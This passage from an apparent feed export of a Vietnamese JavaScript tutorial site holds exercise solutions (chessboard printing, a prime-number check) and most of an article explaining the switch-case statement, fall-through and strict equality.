<code>isNaN(number)</code> dùng để kiểm tra giá trị của biến <code>number</code> xem có phải là <code>NaN</code> hay không. Nói cách khác, nếu <code>isNaN(number)</code> trả về <code>false</code> thì giá trị của <code>number</code> là số.</p> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3:</h3> <ol> <li>Sử dụng <code>console.log</code> để in ra hình bàn cờ vua kích thước (8 x 8) như sau:</li> </ol> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">#_#_#_#_ _#_#_#_# #_#_#_#_ _#_#_#_# #_#_#_#_ _#_#_#_# #_#_#_#_ _#_#_#_#</code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible31" class="toggle" type="checkbox"> <label for="collapsible31" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> row <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> row <span class="token operator">&lt;</span> <span class="token number">8</span><span class="token punctuation">;</span> row<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> col <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> col <span class="token operator">&lt;</span> <span class="token number">8</span><span class="token punctuation">;</span> col<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>row <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> col <span class="token operator">%</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> str <span class="token operator">+=</span> <span class="token string">"#"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> str <span class="token operator">+=</span> <span class="token string">"_"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <ol start="2"> <li>Yêu cầu người dùng nhập vào một số <strong>size</strong> (size là số dương). Sau đó hiển thị ra hình bàn cờ vua như trên với kích thước là <strong>size x size</strong>.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible32" class="toggle" type="checkbox"> <label for="collapsible32" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> size<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token comment">// Nhập số dương</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> size <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Enter a positive number:"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isNaN</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> size <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token comment">// In ra màn hình</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> row <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> row <span class="token operator">&lt;</span> size<span class="token punctuation">;</span> row<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> col <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> col <span class="token operator">&lt;</span> size<span class="token punctuation">;</span> col<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>row <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> col <span class="token operator">%</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> str <span class="token operator">+=</span> <span class="token string">"#"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> str <span class="token operator">+=</span> <span class="token string">"_"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-4" style="position:relative;"><a href="#b%C3%A0i-4" aria-label="bài 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 4:</h3> <p>Yêu cầu người dùng nhập vào một số. Nếu người dùng nhập vào một số dương thì hiển thị ra thông báo xem số đó có phải số nguyên tố hay không.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> number<span class="token punctuation">;</span> <span class="token comment">// Nhập số dương</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> number <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Enter a positive number:"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isNaN</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> number <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Kiểm tra số nguyên tố</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">&lt;</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's not a prime number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's a prime number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> isPrimeNumber <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> number<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> i <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> isPrimeNumber <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>isPrimeNumber<span class="token punctuation">)</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's a prime number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">else</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's not a prime number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span></code></pre></div> <p><strong>Chú ý:</strong> số nguyên tố là số nguyên dương lớn hơn hoặc bằng 2 thỏa mãn điều kiện chỉ chia hết cho 1 và chính nó.</p> </div> </div> </div>[email protected]<![CDATA[Câu lệnh Switch Case trong JavaScript]]><![CDATA[Trong bài viết về cấu trúc rẽ nhánh trong JavaScript, mình đã tìm hiểu về câu lệnh if và toán tử ?. Ngoài ra, mình cũng có thể sử dụng lệnh switch case làm cấu trúc rẽ nhánh thay…]]>https://completejavascript.com/cau-lenh-switch-case-trong-javascript/https://completejavascript.com/cau-lenh-switch-case-trong-javascript/<![CDATA[Cấu trúc rẽ nhánh]]>Sun, 07 May 2017 04:00:00 GMT<p>Trong bài viết về <a href="/cau-truc-re-nhanh-trong-javascript/">cấu trúc rẽ nhánh trong JavaScript</a>, mình đã tìm hiểu về câu lệnh <code>if</code> và toán tử <code>?</code>. Ngoài ra, mình cũng có thể sử dụng <strong>lệnh switch case</strong> làm cấu trúc rẽ nhánh thay thế cho câu lệnh <code>if</code>.</p> <p>Sau đây, mình cùng tìm hiểu về cách sử dụng câu lệnh switch - case trong JavaScript và khi nào thì nên sử dụng cấu trúc rẽ nhánh switch - case.</p> <h2 id="lệnh-switch-case-là-gì" style="position:relative;"><a href="#l%E1%BB%87nh-switch-case-l%C3%A0-g%C3%AC" aria-label="lệnh switch case là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lệnh switch case là gì?</h2> <p>Câu lệnh switch - case trong JavaScript là một cấu trúc rẽ nhánh dùng để <strong>xác định một danh sách các trường hợp và khối lệnh tương ứng với mỗi trường hợp</strong>.</p> <p>Khi giá trị đang xét <strong>bằng nghiêm ngặt</strong> (<code>===</code>) với trường hợp nào thì khối lệnh tương ứng bắt đầu từ trường hợp đó được thực thi.</p> <h2 id="cú-pháp-câu-lệnh-switch-case" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-c%C3%A2u-l%E1%BB%87nh-switch-case" aria-label="cú pháp câu lệnh switch case permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp câu lệnh switch case</h2> <p>Lệnh switch case trong JS có cú pháp như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">switch(x) { case 'value1': // if (x === 'value1') ... [break] case 'value2': // if (x === 'value2') ... [break] default: ... [break] }</code></pre></div> <p>Trong đó:</p> <ul> <li>Giá trị <code>x</code> được kiểm tra <strong>bằng nghiêm ngặt</strong> lần lượt với các giá trị <code>value1</code>, <code>value2</code>,...</li> <li>Khi tìm thấy giá trị <strong>value</strong> thỏa mãn thì khối lệnh bắt đầu từ <code>case</code> đó được thực hiện cho đến khi gặp từ khóa <code>break</code> gần nhất, hoặc kết lúc lệnh switch case.</li> <li>Nếu không có trường hợp nào thỏa mãn thì khối lệnh ứng với <code>default</code> được thực thi.</li> <li><strong>Chú ý</strong>: từ khóa <code>break</code> là không bắt buộc.</li> </ul> <h2 id="ví-dụ-lệnh-switch-case" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-l%E1%BB%87nh-switch-case" aria-label="ví dụ lệnh switch case permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ lệnh switch case</h2> <p>Sau đây là ví dụ sử dụng lệnh switch case trong JavaScript:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Less than"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Equal"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">case</span> <span class="token number">6</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Greater than"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Don't know the answer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Equal</span></code></pre></div> <p>Kết quả hiển thị là: <code>Equal</code>.</p> <p>Giải thích:</p> <ul> <li>Lệnh <code>switch</code> so sánh bằng nghiêm ngặt giá trị của <code>x</code> với các <code>case</code> lần lượt là <code>4</code>, <code>5</code> và <code>6</code>.</li> <li>Với <code>case 4</code>: khác với giá trị của <code>x</code> (là <code>5</code>), nên quá trình so sánh tiếp tục.</li> <li>Với <code>case 5</code>: giá trị này bằng nghiêm ngặt với <code>x</code>, nên khối lệnh bắt đầu từ trường hợp này được thực thi. Vì vậy, giá trị <code>Equal</code> được in ra.</li> <li>Nhưng ngay sau đó là từ khóa <code>break</code>, nên lệnh switch case kết thúc.</li> </ul> <p><strong>Nếu không có từ khóa <code>break</code> thì sao?</strong></p> <p>Nếu không có từ khóa <code>break</code> thì toàn bộ khối lệnh phía sau <code>case 5</code> được thực thi.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Less than"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Equal"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">6</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Greater than"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">default</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Don't know the answer"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// Equal</span> <span class="token comment">// Greater than</span> <span class="token comment">// Don't know the answer</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> <code>switch</code> và <code>case</code> đều có thể chứa biểu thức - không chỉ là <a href="/bien-la-gi-bien-trong-javascript/">biến</a> hay <a href="/hang-la-gi-hang-trong-javascript/">hằng</a>.</p> </blockquote> <p>Ví dụ lệnh switch case với biểu thức:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token string">"3"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> v <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>x <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> v <span class="token operator">+</span> <span class="token number">1</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"case 1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> v <span class="token operator">+</span> <span class="token number">2</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"case 2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"default"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// case 2</span></code></pre></div> <p>Vì <code>x = "3"</code> nên ta có <code>x - 1</code> bằng <code>"3" - 1</code>. Trường hợp này là phép trừ hai giá trị khác kiểu dữ liệu, nên kí tự <code>"3"</code> được <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi về dạng số</a> thành số <code>3</code>. Vì vậy, <code>x - 1</code> sẽ bằng <code>2</code>.</p> <p>Mà ta có <code>v = 0</code>, nên <code>v + 1</code> bằng <code>1</code> và <code>v + 2</code> bằng <code>2</code>. Suy ra, trường hợp <code>case v + 2</code> thỏa mãn. Do đó, <code>case 2</code> được in ra.</p> <h2 id="nhóm-các-case" style="position:relative;"><a href="#nh%C3%B3m-c%C3%A1c-case" aria-label="nhóm các case permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhóm các <code>case</code></h2> <p>Hãy xem ví dụ sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> n <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>n<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">3</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Bye!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Hi!</span></code></pre></div> <p>Với đoạn code trên, bạn thấy rằng <code>case 3</code> và <code>case 5</code> xử lý giống nhau.</p> <p>Khi đó, thay vì viết tường minh như trên, bạn có thể gộp hai trường hợp này với nhau bằng cách bỏ qua từ khóa <code>break</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> n <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>n<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">3</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Bye!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Hi!</span></code></pre></div> <p>Chạy thử với hai trường hợp <code>n = 5</code> và <code>n = 3</code>, bạn sẽ thấy kết quả hiển thị giống nhau là <code>Hi!</code>.</p> <p>Vì khi bỏ qua từ khóa <code>break</code>, toàn bộ khối lệnh bắt đầu từ <code>case</code> hợp lệ được thực hiện cho đến khi gặp từ khóa <code>break</code> gần nhất hoặc kết thúc lệnh switch case.</p> <h2 id="vấn-đề-so-sánh-bằng-nghiêm-ngặt" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-so-s%C3%A1nh-b%E1%BA%B1ng-nghi%C3%AAm-ng%E1%BA%B7t" aria-label="vấn đề so sánh bằng nghiêm ngặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề so sánh bằng nghiêm ngặt</h2> <p>Mình muốn nhấn mạnh rằng lệnh switch case sử dụng <strong>so sánh bằng nghiêm ngặt</strong> <code>===</code>. Nghĩa là các giá trị <strong>phải cùng kiểu dữ liệu</strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token string">"3"</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"string"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">case</span> <span class="token number">3</span><span class="token operator">:</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token keyword">default</span><span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"unknown"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// number</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" 